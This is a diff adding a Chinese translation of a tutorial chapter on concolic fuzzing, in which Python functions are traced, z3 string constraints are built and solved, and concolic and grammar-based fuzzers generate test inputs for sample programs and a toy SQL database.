+        return True
+    else:
+        return False
+
+```
+
+```py
+with ConcolicTracer() as _:
+    r = _[tstr3]('h')
+
+```
+
+同样，我们使用`zeval()`来解决收集的约束，并验证我们的约束正确。
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'s': 'h'})
+
+```
+
+这是使用`upper()`的更大示例
+
+```py
+def tstr4(s):
+    if s.lower() == 'hello world':
+        return True
+    else:
+        return False
+
+```
+
+```py
+with ConcolicTracer() as _:
+    r = _[tstr4]('Hello World')
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'s': 'Hello World'})
+
+```
+
+同样，我们获得正确的输入值。
+
+##### 检查字符串前缀
+
+我们定义`startswith()`。
+
+```py
+class zstr(zstr):
+    def startswith(self, other, beg=0, end=None):
+        assert end is None  # for now
+        assert isinstance(beg, int)  # for now
+        zb = z3.IntVal(beg)
+
+        others = other if isinstance(other, tuple) else (other, )
+
+        last = False
+        for o in others:
+            z, v = self._zv(o)
+            r = z3.IndexOf(self.z, z, zb)
+            last = zbool(self.context, r == zb, self.v.startswith(v))
+            if last:
+                return last
+        return last
+
+```
+
+一个例子。
+
+```py
+def tstr5(s):
+    if s.startswith('hello'):
+        return True
+    else:
+        return False
+
+```
+
+```py
+with ConcolicTracer() as _:
+    r = _[tstr5]('hello world')
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'s': 'hello'})
+
+```
+
+```py
+with ConcolicTracer() as _:
+    r = _[tstr5]('my world')
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'s': '\\x00hello'})
+
+```
+
+如前所述，谓词仅确保`startswith()`返回了真实值。 因此，我们的解决方案反映了这一点。
+
+##### 查找子字符串
+
+我们还定义了`find()`
+
+```py
+class zstr(zstr):
+    def find(self, other, beg=0, end=None):
+        assert end is None  # for now
+        assert isinstance(beg, int)  # for now
+        zb = z3.IntVal(beg)
+        z, v = self._zv(other)
+        zi = z3.IndexOf(self.z, z, zb)
+        vi = self.v.find(v, beg, end)
+        return zint(self.context, zi, vi)
+
+```
+
+An example.
+
+```py
+def tstr6(s):
+    if s.find('world') != -1:
+        return True
+    else:
+        return False
+
+```
+
+```py
+with ConcolicTracer() as _:
+    r = _[tstr6]('hello world')
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'s': '\\x00world'})
+
+```
+
+如前所述，谓词仅确保`find()`返回的值大于-1。 因此，我们的解决方案反映了这一点。
+
+##### 从端点[删除空间[HTG1]](#Remove-Space-from-Ends)
+
+接下来我们实现`strip()`。
+
+```py
+import [string](https://docs.python.org/3/library/string.html)
+
+```
+
+```py
+class zstr(zstr):
+    def rstrip(self, chars=None):
+        if chars is None:
+            chars = string.whitespace
+        if self._len == 0:
+            return self
+        else:
+            last_idx = self._len - 1
+            cz = z3.SubString(self.z, last_idx.z, 1)
+            cv = self.v[-1]
+            zcheck_space = z3.Or([cz == z3.StringVal(char) for char in chars])
+            vcheck_space = any(cv == char for char in chars)
+            if zbool(self.context, zcheck_space, vcheck_space):
+                return zstr(self.context, z3.SubString(self.z, 0, last_idx.z),
+                            self.v[0:-1]).rstrip(chars)
+            else:
+                return self
+
+```
+
+```py
+def tstr7(s):
+    if s.rstrip(' ') == 'a b':
+        return True
+    else:
+        return False
+
+```
+
+```py
+with ConcolicTracer() as _:
+    r = _[tstr7]('a b   ')
+    print(r)
+
+```
+
+```py
+True
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'s': 'a b   '})
+
+```
+
+```py
+class zstr(zstr):
+    def lstrip(self, chars=None):
+        if chars is None:
+            chars = string.whitespace
+        if self._len == 0:
+            return self
+        else:
+            first_idx = 0
+            cz = z3.SubString(self.z, 0, 1)
+            cv = self.v[0]
+            zcheck_space = z3.Or([cz == z3.StringVal(char) for char in chars])
+            vcheck_space = any(cv == char for char in chars)
+            if zbool(self.context, zcheck_space, vcheck_space):
+                return zstr(self.context, z3.SubString(
+                    self.z, 1, self._len.z), self.v[1:]).lstrip(chars)
+            else:
+                return self
+
+```
+
+```py
+def tstr8(s):
+    if s.lstrip(' ') == 'a b':
+        return True
+    else:
+        return False
+
+```
+
+```py
+with ConcolicTracer() as _:
+    r = _[tstr8]('   a b')
+    print(r)
+
+```
+
+```py
+True
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'s': '   a b'})
+
+```
+
+```py
+class zstr(zstr):
+    def strip(self, chars=None):
+        return self.lstrip(chars).rstrip(chars)
+
+```
+
+用法示例。
+
+```py
+def tstr9(s):
+    if s.strip() == 'a b':
+        return True
+    else:
+        return False
+
+```
+
+```py
+with ConcolicTracer() as _:
+    r = _[tstr9]('    a b  ')
+    print(r)
+
+```
+
+```py
+True
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'s': '    a b  '})
+
+```
+
+`strip()`已生成正确的约束。
+
+##### 分割字符串
+
+我们如下实现字符串`split()`。
+
+```py
+class zstr(zstr):
+    def split(self, sep=None, maxsplit=-1):
+        assert sep is not None  # default space based split is complicated
+        assert maxsplit == -1  # for now.
+        zsep = z3.StringVal(sep)
+        zl = z3.Length(zsep)
+        zi = z3.IndexOf(self.z, zsep, z3.IntVal(0))  # zi would be the length of prefix
+        # Z3Bug: There is a bug in the `z3.IndexOf` method which returns
+        # `z3.SeqRef` instead of `z3.ArithRef`. So we need to fix it.
+        zi = z3.ArithRef(zi.ast, zi.ctx)
+
+        vi = self.v.find(sep)
+        if zbool(self.context, zi >= z3.IntVal(0), vi >= 0):
+            zprefix = z3.SubString(self.z, z3.IntVal(0), zi)
+            zmid = z3.SubString(self.z, zi, zl)
+            zsuffix = z3.SubString(self.z, zi + zl,
+                                   z3.Length(self.z))
+            return [zstr(self.context, zprefix, self.v[0:vi])] + zstr(
+                self.context, zsuffix, self.v[vi + len(sep):]).split(
+                    sep, maxsplit)
+        else:
+            return [self]
+
+```
+
+```py
+def tstr10(s):
+    if s.split(',') == ['a', 'b', 'c']:
+        return True
+    else:
+        return False
+
+```
+
+```py
+with ConcolicTracer() as _:
+    r = _[tstr10]('a,b,c')
+    print(r)
+
+```
+
+```py
+True
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'s': 'a,b,c'})
+
+```
+
+##### 跳闸线
+
+为了简化调试，我们中止了`str`中未被`zstr`覆盖的对`str`中方法的所有调用。
+
+```py
+def make_str_abort_wrapper(fun):
+    def proxy(*args, **kwargs):
+        raise Exception( '%s Not implemented in `zstr`' % fun.__name__)
+    return proxy
+
+```
+
+```py
+strmembers = inspect.getmembers(zstr, callable)
+zstrmembers = {m[0] for m in strmembers if len(
+    m) == 2 and 'zstr' in m[1].__qualname__}
+for name, fn in inspect.getmembers(str, callable):
+    # Omitted 'splitlines' as this is needed for formatting output in
+    # IPython/Jupyter
+    if name not in zstrmembers and name not in [
+        'splitlines',
+        '__class__',
+        '__contains__',
+        '__delattr__',
+        '__dir__',
+        '__format__',
+        '__ge__',
+        '__getattribute__',
+        '__getnewargs__',
+        '__gt__',
+        '__hash__',
+        '__le__',
+        '__len__',
+        '__lt__',
+        '__mod__',
+        '__mul__',
+        '__ne__',
+        '__reduce__',
+        '__reduce_ex__',
+        '__repr__',
+        '__rmod__',
+        '__rmul__',
+        '__setattr__',
+        '__sizeof__',
+        '__str__']:
+        setattr(zstr, name, make_str_abort_wrapper(fn))
+
+```
+
+## 示例
+
+### 三角形
+
+先前我们展示了如何在`ConcolicTracer`下运行`triangle()`。
+
+```py
+with ConcolicTracer() as _:
+    print(_[triangle](1, 2, 3))
+
+```
+
+```py
+scalene
+
+```
+
+谓词如下：
+
+```py
+_.path
+
+```
+
+```py
+[Not(triangle_a_int_49 == triangle_b_int_50),
+ Not(triangle_b_int_50 == triangle_c_int_51),
+ Not(triangle_a_int_49 == triangle_c_int_51)]
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'a': '0', 'b': ['-', '2'], 'c': ['-', '1']})
+
+```
+
+如有必要，我们可以修改谓词。 首先，我们检索符号变量。
+
+```py
+za, zb, zc = [z3.Int(s) for s in _.context[0].keys()]
+
+```
+
+然后，我们将修饰的谓词传递给`zeval()`。 密钥确定新谓词将替换哪个谓词。
+
+```py
+_.zeval({1: zb == zc})
+
+```
+
+```py
+('sat', {'a': -1, 'b': -2, 'c': 0})
+
+```
+
+```py
+triangle(1, 0, 1)
+
+```
+
+```py
+'isosceles'
+
+```
+
+更新的谓词按预期返回`isosceles`。
+
+### 回合
+
+这是一个为您提供最接近的十进制乘数的函数
+
+```py
+def round10(r):
+    while r % 10 != 0:
+        r += 1
+    return r
+
+```
+
+和以前一样，我们在`ConcolicTracer`上下文下执行该函数。
+
+```py
+with ConcolicTracer() as _:
+    r = _[round10](1)
+
+```
+
+我们验证我们能够捕获所有谓词
+
+```py
+_.context
+
+```
+
+```py
+({'round10_r_int_52': 'Int'},
+ [0 != round10_r_int_52%10,
+  0 != (round10_r_int_52 + 1)%10,
+  0 != (round10_r_int_52 + 1 + 1)%10,
+  0 != (round10_r_int_52 + 1 + 1 + 1)%10,
+  0 != (round10_r_int_52 + 1 + 1 + 1 + 1)%10,
+  0 != (round10_r_int_52 + 1 + 1 + 1 + 1 + 1)%10,
+  0 != (round10_r_int_52 + 1 + 1 + 1 + 1 + 1 + 1)%10,
+  0 != (round10_r_int_52 + 1 + 1 + 1 + 1 + 1 + 1 + 1)%10,
+  0 != (round10_r_int_52 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1)%10,
+  Not(0 !=
+      (round10_r_int_52 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1)%
+      10)])
+
+```
+
+我们使用`zeval()`获得结果。
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'r': '41'})
+
+```
+
+### 绝对最大值
+
+我们的condicolic代理可以跨职能使用吗？ 假设我们有如下功能`max_value()`。
+
+```py
+def abs_value(a):
+    if a > 0:
+        return a
+    else:
+        return -a
+
+```
+
+由另一个函数`abs_max()`调用
+
+```py
+def abs_max(a, b):
+    a1 = abs_value(a)
+    b1 = abs_value(b)
+    if a1 > b1:
+        c = a1
+    else:
+        c = b1
+    return c
+
+```
+
+在`abs_max()`上使用`Concolic()`上下文。
+
+```py
+with ConcolicTracer() as _:
+    _[abs_max](2, 1)
+
+```
+
+不出所料，我们拥有跨函数的谓词。
+
+```py
+_.context
+
+```
+
+```py
+({'abs_max_a_int_53': 'Int', 'abs_max_b_int_54': 'Int'},
+ [0 < abs_max_a_int_53,
+  0 < abs_max_b_int_54,
+  abs_max_a_int_53 > abs_max_b_int_54])
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'a': '2', 'b': '1'})
+
+```
+
+解决谓词按预期工作。
+
+使用负数作为参数，以便在`abs_value()`中采用不同的分支
+
+```py
+with ConcolicTracer() as _:
+    _[abs_max](-2, -1)
+
+```
+
+```py
+_.context
+
+```
+
+```py
+({'abs_max_a_int_55': 'Int', 'abs_max_b_int_56': 'Int'},
+ [Not(0 < abs_max_a_int_55),
+  Not(0 < abs_max_b_int_56),
+  -abs_max_a_int_55 > -abs_max_b_int_56])
+
+```
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'a': ['-', '1'], 'b': '0'})
+
+```
+
+解决方案反映了我们的谓词。 （我们在`abs_value()`中使用了`a > 0`）。
+
+### 二项式系数
+
+对于使用不同种类变量的较大示例，假设我们要通过以下公式计算二项式系数
+
+$$ ^ nP_k = \ frac {n！} {（n-k）！} $$
+
+$$ \ binom nk = \，^ nC_k = \ frac {^ nP_k} {k！} $$
+
+我们将功能定义如下。
+
+```py
+def factorial(n):
+    v = 1
+    while n != 0:
+        v *= n
+        n -= 1
+    return v
+
+```
+
+```py
+def permutation(n, k):
+    return factorial(n) / factorial(n - k)
+
+```
+
+```py
+def combination(n, k):
+    return permutation(n, k) / factorial(k)
+
+```
+
+```py
+def binomial(n, k):
+    if n < 0 or k < 0 or n < k:
+        raise Exception('Invalid values')
+    return combination(n, k)
+
+```
+
+和以前一样，我们在`ConcolicTracer`下运行该函数。
+
+```py
+with ConcolicTracer() as _:
+    v = _[binomial](4, 2)
+
+```
+
+然后调用`zeval()`进行评估。
+
+```py
+_.zeval()
+
+```
+
+```py
+('sat', {'n': '4', 'k': '2'})
+
+```
+
+### 数据库
+
+对于使用Concolic String类`zstr`的更大示例，我们使用[一章中有关信息流](InformationFlow.html)的DB类。
+
+```py
+from [InformationFlow](InformationFlow.html) import DB, sample_db, update_inventory
+
+```
+
+我们首先填充数据库。
+
+```py
+from [GrammarMiner](GrammarMiner.html) import VEHICLES  # minor dependency
+
+```
+
+```py
+db = sample_db()
+for V in VEHICLES:
+    update_inventory(db, V)
+
+```
+
+```py
+db.db
+
+```
+
+```py
+{'inventory': ({'year': int, 'kind': str, 'company': str, 'model': str},
+  [{'year': 1997, 'kind': 'van', 'company': 'Ford', 'model': 'E350'},
+   {'year': 2000, 'kind': 'car', 'company': 'Mercury', 'model': 'Cougar'},
+   {'year': 1999, 'kind': 'car', 'company': 'Chevy', 'model': 'Venture'}])}
+
+```
+
+现在我们准备对`DB`类进行模糊处理。 哈希函数很难直接处理（因为它们依赖于内部C函数）。 因此，我们稍微修改`table()`。
+
+```py
+class ConcolicDB(DB):
+    def table(self, t_name):
+        for k, v in self.db:
+            if t_name == k:
+                return v
+        raise SQLException('Table (%s) was not found' % repr(t_name))
+
+    def column(self, decl, c_name):
+        for k in decl:
+            if c_name == k:
+                return decl[k]
+        raise SQLException('Column (%s) was not found' % repr(c_name))
+
+```
+
+为了简单起见，我们定义了一个直接调用`db.sql()`的单个函数`db_select()`。
+
+```py
+def db_select(s):
+    my_db = ConcolicDB()
+    my_db.db = [(k, v) for (k, v) in db.db.items()]
+    r = my_db.sql(s)
+    return r
+
+```
+
+现在，我们想在`ConcolicTracer`下运行SQL语句，并收集获得的谓词。
+
+```py
+with ConcolicTracer() as _:
+    _[db_select]('select kind from inventory')
+
+```
+
+执行期间遇到的谓词如下：
+
+```py
+_.path
+
+```
+
+```py
+[str.indexof(db_select_s_str_59, "select ", 0) == 0,
+ str.indexof(db_select_s_str_59, "select ", 0) == 0,
+ Not(0 >
+     str.indexof(str.substr(db_select_s_str_59, 7, 19),
+                 " from ",
+                 0)),
+ Not(19 <
+     str.indexof(str.substr(db_select_s_str_59, 7, 19),
+                 " from ",
+                 0)),
+ Or(0 <
+    str.indexof(str.substr(db_select_s_str_59, 7, 19),
+                " from ",
+                0),
+    str.indexof(str.substr(db_select_s_str_59, 7, 19),
+                " from ",
+                0) ==
+    0),
+ Not(Or(0 <
+        str.indexof(str.substr(db_select_s_str_59, 7, 19),
+                    " where ",
+                    0),
+        str.indexof(str.substr(db_select_s_str_59, 7, 19),
+                    " where ",
+                    0) ==
+        0)),
+ Not(19 <
+     str.indexof(str.substr(db_select_s_str_59, 7, 19),
+                 " from ",
+                 0) +
+     6),
+ Or(19 >
+    str.indexof(str.substr(db_select_s_str_59, 7, 19),
+                " from ",
+                0) +
+    6,
+    19 ==
+    str.indexof(str.substr(db_select_s_str_59, 7, 19),
+                " from ",
+                0) +
+    6),
+ str.substr(str.substr(db_select_s_str_59, 7, 19), 10, 9) ==
+ "inventory"]
+
+```
+
+我们可以像以前一样使用`zeval()`来解决约束。
+
+```py
+_.zeval()
+
+```
+
+```py
+('Gave up', None)
+
+```
+
+**注意：**由于SMT求解器中字符串的*理论的状态，您在执行`zeval()`时大多会放弃*放弃*。 很好 这只是意味着SMT求解器在得到答案之前就放弃了。*
+
+## 带约束的模糊测试
+
+在本节中，我们将展示如何使用为进行conolicly执行而构建的基础结构来指导模糊测试。
+
+### SimpleConcolicFuzzer
+
+`SimpleConcolicFuzzer`从其他一些模糊器生成的样本输入开始。 然后，它运行`ConcolicTracer`下正在测试的功能，并收集路径谓词。 然后，它对路径内的随机谓词求反，并使用 *z3* 对其进行求解，以产生新的输出，该输出可保证采用与原始路径不同的路径。
+
+首先，我们导入`Fuzzer`接口和示例程序`hang_if_no_space()`
+
+```py
+from [Fuzzer](Fuzzer.html) import Fuzzer, hang_if_no_space
+
+```
+
+```py
+from [ExpectError](ExpectError.html) import ExpectTimeout
+
+```
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+
+```
+
+`SimpleConcolicFuzzer`是通过`Fuzzer`接口定义的。
+
+```py
+class SimpleConcolicFuzzer(Fuzzer):
+    def __init__(self):
+        self.ct = []
+        self.seen = set()
+        self.seen_strs = set()
+        self.max_tries = 1000
+        self.last = None
+        self.last_idx = None
+
+```
+
+`add_trace()`方法提供了一种添加新迹线的方法。 它与初始化保持分离，因为我们可能想从同一函数中添加多个跟踪。
+
+```py
+class SimpleConcolicFuzzer(SimpleConcolicFuzzer):
+    def add_trace(self, tracer):
+        self.ct.append(tracer)
+        self.last = tracer
+        self.last_idx = len(tracer.context[1]) - 1
+
+```
+
+`to_num()`方法将一系列谓词转换为与每个谓词所采用的决策相对应的位模式。 如果采用`if`分支，则模式为`1`，而`else`分支由`0`指示。 这使我们可以将任何执行路径表示为单个整数。
+
+```py
+class SimpleConcolicFuzzer(SimpleConcolicFuzzer):
+    def to_num(self, arr):
+        return int(
+            ''.join(
+                reversed([
+                    '0' if z3.simplify(i).decl().name() == 'not' else '1'
+                    for i in arr
+                ] + ['1'])), 2)
+
+```
+
+它的用法如下。
+
+```py
+scf = SimpleConcolicFuzzer()
+a, b = z3.Ints('a b')
+print(bin(scf.to_num([z3.Not(a == b)])))
+print(bin(scf.to_num([z3.Not(a == b), a == b])))
+print(bin(scf.to_num([z3.Not(a == b), a == b, z3.Not(a == b)])))
+
+```
+
+```py
+0b10
+0b110
+0b1010
+
+```
+
+从左到右读取位模式。 第一个`0`表示第一个`else`分支（对应于`Not`），而最后一个`1`作为标记添加。 模式`0b1010`表示已采取两个`else`分支。
+
+`get_newpath()`函数在谓词列表中选择一个要取反的随机点。 也就是说，它将创建一个新列表，该列表具有随机长度的前缀（与原始谓词具有相同的谓词），并在末尾添加单个否定值。 它还确保了永远不会重复看到的值。
+
+```py
+class SimpleConcolicFuzzer(SimpleConcolicFuzzer):
+    def get_newpath(self):
+        switch = random.randint(0, self.last_idx)
+        if self.seen:
+            param = list(self.last.fn_args.values())[0]
+            sparam = z3.String(param)
+            seen = [sparam != z3.StringVal(i) for i in self.seen_strs]
+        else:
+            seen = []
+        new_path = self.last.path[0:switch] + \
+            [z3.Not(self.last.path[switch])] + seen
+        return self.to_num(new_path), new_path
+
+```
+
+`fuzz()`方法仅生成谓词的新列表，并将其求解以产生新的输入。
+
+```py
+class SimpleConcolicFuzzer(SimpleConcolicFuzzer):
+    def fuzz(self):
+        for i in range(self.max_tries):
+            pattern, path = self.get_newpath()
+            if pattern in self.seen:
+                continue
+            self.seen.add(pattern)
+            s, v = zeval_smt(path, self.last, log=False)
+            if s != 'sat':
+                continue
+            s = list(v.values())[0]
+            self.seen_strs.add(s)
+            return s
+        return None
+
+```
+
+`SimpleConcolicFuzzer`的用法如下。 首先，我们使用随机字符串生成圆锥曲线。
+
+```py
+with ExpectTimeout(2):
+    with ConcolicTracer() as _:
+        _[hang_if_no_space]('abcd')
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-204-ff2b46f545ec>", line 3, in <module>
+    _[hang_if_no_space]('abcd')
+  File "<ipython-input-33-635d2b1b13c2>", line 3, in __call__
+    self.result = self.fn(*self.concolic(args))
+  File "<string>", line 4, in hang_if_no_space
+  File "<string>", line 4, in hang_if_no_space
+  File "<string>", line 16, in check_time
+TimeoutError (expected)
+
+```
+
+接下来，我们初始化并将此跟踪添加到模糊器。
+
+```py
+scf = SimpleConcolicFuzzer()
+scf.add_trace(_)
+
+```
+
+最后，我们起毛了。
+
+```py
+for i in range(10):
+    v = scf.fuzz()
+    if v is None:
+        break
+    print(v)
+
+```
+
+```py
+ \x00
+\x00\x00 \x00
+ \x02
+ \x80
+ @
+\x00 \x00
+ \x10
+\x00\x00 \x08
+\x00\x00\x00 \x00
+\x00  
+
+```
+
+这是使用`cgi_decode()`的另一个示例
+
+```py
+from [Coverage](Coverage.html) import cgi_decode
+
+```
+
+```py
+with ConcolicTracer() as _:
+    _[cgi_decode]('abcd')
+
+```
+
+```py
+scf = SimpleConcolicFuzzer()
+scf.add_trace(_)
+
+```
+
+```py
+for i in range(10):
+    v = scf.fuzz()
+    if v is None:
+        break
+    print(v)
+
+```
+
+```py
+%\x00
+\x00\x00\x00+\x00
+%\x02
+\x00\x00%\x00
+\x00+\x00
+\x00\x00\x00+\x02
+\x00\x00\x00%\x00
+\x00\x00% 
+\x00\x00+\x00
+\x00\x00\x00+\x80
+
+```
+
+`SimpleConcolicFuzzer`在探索给定样本输入所遵循的路径附近的路径方面相当有效。 但是，在选择要遵循的路径时并不是很聪明。 我们看另一个模糊器，它将获得的谓词提升为语法并获得更好的模糊性。
+
+### ConcolicGrammarFuzzer
+
+框架式框架可以直接用于模糊测试。 首先，我们使用辅助方法`tree_to_string()`扩展`GrammarFuzzer`，以便我们可以检索模糊输出的派生树。 我们还定义了`prune_tree()`和`coalesce()`以减少子树的深度。 这些方法接受令牌类型的列表，以便通过调用`tree_to_string()`将属于令牌类型的节点从树转换为叶节点。
+
+```py
+from [InformationFlow](InformationFlow.html) import INVENTORY_GRAMMAR, SQLException
+
+```
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer
+
+```
+
+```py
+class ConcolicGrammarFuzzer(GrammarFuzzer):
+    def tree_to_string(self, tree):
+        symbol, children, *_ = tree
+        e = ''
+        if children:
+            return e.join([self.tree_to_string(c) for c in children])
+        else:
+            return e if symbol in self.grammar else symbol
+
+    def prune_tree(self, tree, tokens):
+        name, children = tree
+        children = self.coalesce(children)
+        if name in tokens:
+            return (name, [(self.tree_to_string(tree), [])])
+        else:
+            return (name, [self.prune_tree(c, tokens) for c in children])
+
+    def coalesce(self, children):
+        last = ''
+        new_lst = []
+        for cn, cc in children:
+            if cn not in self.grammar:
+                last += cn
+            else:
+                if last:
+                    new_lst.append((last, []))
+                    last = ''
+                new_lst.append((cn, cc))
+        if last:
+            new_lst.append((last, []))
+        return new_lst
+
+```
+
+现在，我们可以使用模糊器为数据库生成输入。
+
+```py
+tgf = ConcolicGrammarFuzzer(INVENTORY_GRAMMAR)
+while True:
+    qtree = tgf.fuzz_tree()
+    query = str(tgf.tree_to_string(qtree))
+    if query.startswith('select'):
+        break
+
+```
+
+```py
+from [ExpectError](ExpectError.html) import ExpectError
+
+```
+
+```py
+with ExpectError():
+    print(repr(query))
+    with ConcolicTracer() as _:
+        res = _[db_select](str(query))
+    print(repr(res))
+
+```
+
+```py
+'select z,(k(w)+N) from W0 where T9(e)*i+b-E!=Yt'
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-216-6cbadb7bcf98>", line 4, in <module>
+    res = _[db_select](str(query))
+  File "<ipython-input-33-635d2b1b13c2>", line 3, in __call__
+    self.result = self.fn(*self.concolic(args))
+  File "<ipython-input-191-26b52b86ed9e>", line 4, in db_select
+    r = my_db.sql(s)
+  File "<string>", line 18, in sql
+  File "<string>", line 17, in do_select
+  File "<ipython-input-190-d1ea3580462a>", line 6, in table
+    raise SQLException('Table (%s) was not found' % repr(t_name))
+InformationFlow.SQLException: Table ('W0') was not found (expected)
+
+```
+
+我们的模糊器异常返回。 无法找到指定的表。 让我们检查一下它遇到的谓词。
+
+```py
+for i, p in enumerate(_.path):
+    print(i, p)
+
+```
+
+```py
+0 str.indexof(db_select_s_str_62, "select ", 0) == 0
+1 str.indexof(db_select_s_str_62, "select ", 0) == 0
+2 Not(0 >
+    str.indexof(str.substr(db_select_s_str_62, 7, 40),
+                " from ",
+                0))
+3 Not(40 <
+    str.indexof(str.substr(db_select_s_str_62, 7, 40),
+                " from ",
+                0))
+4 Or(0 <
+   str.indexof(str.substr(db_select_s_str_62, 7, 40),
+               " from ",
+               0),
+   str.indexof(str.substr(db_select_s_str_62, 7, 40),
+               " from ",
+               0) ==
+   0)
+5 Or(0 <
+   str.indexof(str.substr(db_select_s_str_62, 7, 40),
+               " where ",
+               0),
+   str.indexof(str.substr(db_select_s_str_62, 7, 40),
+               " where ",
+               0) ==
+   0)
+6 Not(40 <
+    str.indexof(str.substr(db_select_s_str_62, 7, 40),
+                " from ",
+                0) +
+    6)
+7 Not(40 <
+    str.indexof(str.substr(db_select_s_str_62, 7, 40),
+                " where ",
+                0))
+8 Or(str.indexof(str.substr(db_select_s_str_62, 7, 40),
+               " from ",
+               0) +
+   6 <
+   str.indexof(str.substr(db_select_s_str_62, 7, 40),
+               " where ",
+               0),
+   str.indexof(str.substr(db_select_s_str_62, 7, 40),
+               " where ",
+               0) ==
+   str.indexof(str.substr(db_select_s_str_62, 7, 40),
+               " from ",
+               0) +
+   6)
+9 Not(40 <
+    str.indexof(str.substr(db_select_s_str_62, 7, 40),
+                " where ",
+                0) +
+    7)
+10 Or(40 >
+   str.indexof(str.substr(db_select_s_str_62, 7, 40),
+               " where ",
+               0) +
+   7,
+   40 ==
+   str.indexof(str.substr(db_select_s_str_62, 7, 40),
+               " where ",
+               0) +
+   7)
+11 Not(str.substr(str.substr(db_select_s_str_62, 7, 40), 16, 2) ==
+    "inventory")
+
+```
+
+注意，我们可以通过使用`ConcolicTracer`获得语法中不存在的约束。 特别要看的是，我们如何能够获得表必须为`inventory`（谓词11）的条件才能使模糊测试成功。
+
+我们如何将它们提升为语法？ 特别是我们如何自动做到这一点？ 我们有一个选择是简单地切换获得的最后一个谓词。 在我们的例子中，最后一个谓词是（11）。 我们可以简单地颠倒谓词并再次求解吗？
+
+```py
+new_path = _.path[0:-1] + [z3.Not(_.path[-1])]
+
+```
+
+```py
+new_ = ConcolicTracer((_.decls, new_path))
+new_.fn = _.fn
+new_.fn_args = _.fn_args
+
+```
+
+```py
+new_.zeval()
+
+```
+
+```py
+('No Solutions', None)
+
+```
+
+实际上，由于要比较的字符串长度不同，因此这将不起作用。
+
+```py
+print(_.path[-1])
+z3.solve(z3.Not(_.path[-1]))
+
+```
+
+```py
+Not(str.substr(str.substr(db_select_s_str_62, 7, 40), 16, 2) ==
+    "inventory")
+no solution
+
+```
+
+一个更好的主意是研究正在进行哪些*字符串*比较，并将其与语法中的相应节点相关联。 让我们检查一下派生树（为避免递归结构而进行修剪，并着重于重要部分）。
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import display_tree
+
+```
+
+```py
+prune_tokens = [
+    '<value>', '<table>', '<column>', '<literals>', '<exprs>', '<bexpr>'
+]
+dt = tgf.prune_tree(qtree, prune_tokens)
+display_tree(dt)
+
+```
+
+<svg height="176pt" viewBox="0.00 0.00 374.50 176.00" width="375pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 172)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="165" y="-156.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="165" y="-105.8"><query></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="18" y="-54.8">select</text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="78" y="-54.8"><exprs></text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="137" y="-54.8">from</text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="194" y="-54.8"><table></text></g> <g class="edge" id="edge6"><title>1->6</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="255" y="-54.8">where</text></g> <g class="edge" id="edge8"><title>1->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="318" y="-54.8"><bexpr></text></g> <g class="edge" id="edge9"><title>1->9</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="78" y="-3.8">z,(k(w)+N)</text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="194" y="-3.8">W0</text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="318" y="-3.8">T9(e)*i+b-E!=Yt</text></g> <g class="edge" id="edge10"><title>9->10</title></g></g></svg>
+
+我们能否确定输入的哪一部分由语法的哪一部分提供？ 我们定义了`span()`，它可以从派生树中恢复此信息。 对于给定的节点，让我们假设起点是已知的。 然后，为了处理这些子项，我们进行如下操作：我们从左到右一次选择一个子项，并计算该子项的长度。 除了我们的起点之外，当前孩子之前的孩子的长度也给出了当前孩子的起点。 每个节点的终点只是其最后一个子节点的终点（如果是叶子，则为节点的长度）。
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import START_SYMBOL
+
+```
+
+```py
+def span(node, g, node_start=0):
+    hm = {}
+    k, cs = node
+    end_i = node_start
+    new_cs = []
+    for c in cs:
+        chm, (ck, child_start, child_end, gcs) = span(c, g, end_i)
